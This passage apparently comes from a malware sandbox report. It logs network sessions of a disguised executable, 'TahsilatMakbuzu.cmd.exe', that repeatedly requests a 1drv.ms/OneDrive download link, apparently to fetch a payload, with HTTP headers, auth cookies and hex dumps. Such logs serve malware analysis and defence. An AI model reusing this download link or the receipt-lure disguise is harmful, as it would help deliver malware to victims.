42	192.168.2.6	49761	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:42 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:42 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: PH2PPF4D234C8F2 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: BOqML7vWFUiJcQO10WnUqA.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F1E83482BCE4484E88E6CA46A4D45AE2 Ref B: EWR30EDGE0110 Ref C: 2024-07-04T18:16:42Z Date: Thu, 04 Jul 2024 18:16:42 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49762	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:42 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:43 UTC	2219	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:09EUdVWc3Ig=:+wFe02y5TJpogyh36iVtTDIybT1Zgqodaq8Ea7LT2Ac=:F; domain=.live.com; path=/ Set-Cookie: xid=06b2ffe9-5b3c-4006-8786-4430883b992f&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:43 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODAzLCJuYmYiOjE3MjAxMTcwMDMsImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiU25haWwiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJmYTkyYzVjOGY3ZDI4ODdiNzcyNjQxMTkzYjE4MGQ1YiIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDAzfQ.bpLSWI_-Gp-xAZ0OBgh5gNKrg-RG96SnnD6KDlxEBrVSroPbiivkw-1TwVmA7wOJFdaoszKbtJxN0KXJDaxsvD1tWygI4T5Rab7cETjip2902eRXDUW43hlBDIzCHy0Jy5WV-gpaI4_kg05nIOPia-xj9KUnUvMJLdtXUPo6PRofUmW_pPQkqce8yr5n1CD5ryp_I5LJkeAOzaPPzVpjNYIyKswI8GUMFrm27RUasNaB8h7qyGwxPDVNwZGs0RoCBSEzI00MChih6taSzOWfotfL3INWV6BeKIOEb-3Jecq0pf7-sBgoUIIg3FK3yJVyCsVSpFKHCG-z_dgFfKWv7g; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:43 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-9t9jb X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 02E86940286E4EEC8179E83AC935BAFC Ref B: BN3EDGE0811 Ref C: 2024-07-04T18:16:43Z Date: Thu, 04 Jul 2024 18:16:42 GMT Connection: close
2024-07-04 18:16:43 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49763	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:44 UTC	1287	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODAzLCJuYmYiOjE3MjAxMTcwMDMsImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiU25haWwiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJmYTkyYzVjOGY3ZDI4ODdiNzcyNjQxMTkzYjE4MGQ1YiIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDAzfQ.bpLSWI_-Gp-xAZ0OBgh5gNKrg-RG96SnnD6KDlxEBrVSroPbiivkw-1TwVmA7wOJFdaoszKbtJxN0KXJDaxsvD1tWygI4T5Rab7cETjip2902eRXDUW43hlBDIzCHy0Jy5WV-gpaI4_kg05nIOPia-xj9KUnUvMJLdtXUPo6PRofUmW_pPQkqce8yr5n1CD5ryp_I5LJkeAOzaPPzVpjNYIyKswI8GUMFrm27RUasNaB8h7qyGwxPDVNwZGs0RoCBSEzI00MChih6taSzOWfotfL3INWV6BeKIOEb-3Jecq0pf7-sBgoUIIg3FK3yJVyCsVSpFKHCG-z_dgFfKWv7g; E=P:09EUdVWc3Ig=:+wFe02y5TJpogyh36iVtTDIybT1Zgqodaq8Ea7LT2Ac=:F; xid=06b2ffe9-5b3c-4006-8786-4430883b99 [TRUNCATED]
2024-07-04 18:16:44 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,37820,0,104606,4 X-SharePointHealthScore: 0 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 361239a1-c007-5000-da9f-48a274890c6f request-id: 361239a1-c007-5000-da9f-48a274890c6f MS-CV: oTkSNgfAAFDan0iidIkMbw.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 25 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: ACCADC9073A34EBDB42B8A1FCA96F9E2 Ref B: BN3EDGE0915 Ref C: 2024-07-04T18:16:44Z Date: Thu, 04 Jul 2024 18:16:43 GMT Connection: close
2024-07-04 18:16:44 UTC	100	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="t
2024-07-04 18:16:44 UTC	8192	IN	Data Raw: 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 5f 6c 61 79 6f 75 74 73 2f 31 35 2f 69 6d 61 67 65 73 2f 6f 64 62 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 72 65 76 3d 34 37 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 76 6e 64 2e 6d 69 63 72 6f 73 6f 66 74 Data Ascii: ext/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" /><link rel="shortcut icon" href="/_layouts/15/images/odbfavicon.ico?rev=47" type="image/vnd.microsoft
2024-07-04 18:16:44 UTC	6286	IN	Data Raw: 35 43 39 2d 45 44 44 36 2d 34 31 45 36 2d 41 45 41 32 2d 34 43 33 39 39 39 42 36 46 32 42 41 22 3a 74 72 75 65 2c 22 46 33 43 34 34 33 43 34 2d 31 36 37 38 2d 34 33 34 39 2d 41 36 43 35 2d 45 35 37 35 32 42 39 35 43 33 46 34 22 3a 74 72 75 65 2c 22 37 34 45 38 37 34 32 38 2d 38 33 46 42 2d 34 31 31 36 2d 39 42 39 38 2d 34 41 37 44 34 46 31 32 36 45 41 32 22 3a 74 72 75 65 2c 22 31 37 35 34 38 33 41 37 2d 35 37 44 34 2d 34 32 33 33 2d 42 34 39 42 2d 42 39 36 33 33 39 41 35 41 35 46 45 22 3a 74 72 75 65 2c 22 32 44 32 37 38 44 46 42 2d 41 46 41 46 2d 34 42 33 45 2d 38 35 42 42 2d 37 41 39 43 35 41 37 30 39 33 33 30 22 3a 74 72 75 65 2c 22 33 43 39 35 43 45 37 33 2d 44 38 33 41 2d 34 39 37 34 2d 42 38 41 31 2d 43 34 41 30 39 46 32 36 31 41 44 30 22 3a 74 72 Data Ascii: 5C9-EDD6-41E6-AEA2-4C3999B6F2BA":true,"F3C443C4-1678-4349-A6C5-E5752B95C3F4":true,"74E87428-83FB-4116-9B98-4A7D4F126EA2":true,"175483A7-57D4-4233-B49B-B96339A5A5FE":true,"2D278DFB-AFAF-4B3E-85BB-7A9C5A709330":true,"3C95CE73-D83A-4974-B8A1-C4A09F261AD0":tr
2024-07-04 18:16:44 UTC	8192	IN	Data Raw: 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 Data Ascii: "308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2678
2024-07-04 18:16:44 UTC	8192	IN	Data Raw: 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 Data Ascii: D-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true
2024-07-04 18:16:44 UTC	8192	IN	Data Raw: 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 Data Ascii: F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443
2024-07-04 18:16:44 UTC	8192	IN	Data Raw: 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d Data Ascii: -E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-
2024-07-04 18:16:44 UTC	8192	IN	Data Raw: 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 Data Ascii: 955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
2024-07-04 18:16:44 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
2024-07-04 18:16:44 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49764	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:45 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:45 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: SJ4PPF2C523A31F Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: BylS0sqh30ieIJfF3Ak1aQ.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 03F0DC393D6743B5856D43B5DC5ECD73 Ref B: EWR30EDGE0909 Ref C: 2024-07-04T18:16:45Z Date: Thu, 04 Jul 2024 18:16:45 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49765	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:46 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:47 UTC	2217	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:GbUld1Wc3Ig=:t22Ik5vnCX5++CgJwZcc65dGIUF/GHUcRkyRMZx5VAk=:F; domain=.live.com; path=/ Set-Cookie: xid=0127c4b6-9d28-44a4-bd06-2c593c2fd4b7&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:46 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODA2LCJuYmYiOjE3MjAxMTcwMDYsImdpdmVuX25hbWUiOiI0MyIsImZhbWlseV9uYW1lIjoiV3JlbiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImFjNDUxNjg0N2E0ZGQ4ZTcyNjY5YTYyNzE1M2FlM2QzIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwMDZ9.dDCFs8f1d0ugKdk9rQOfqLyzh-luw1YMdsjkkcGKnIUUmY2f7pMzAm9N_nygBwDwdWbdvXBMuHqLdw01o9tpre1sIHw0PebpAx9j7bWkTqOKZIztXQ8N1vjxLFztHVThvjoaiVFI3e2o77sHx8U2KX0wdfriQ-jCszWG_ZlxzPjbognOoVTSxvIAV2_R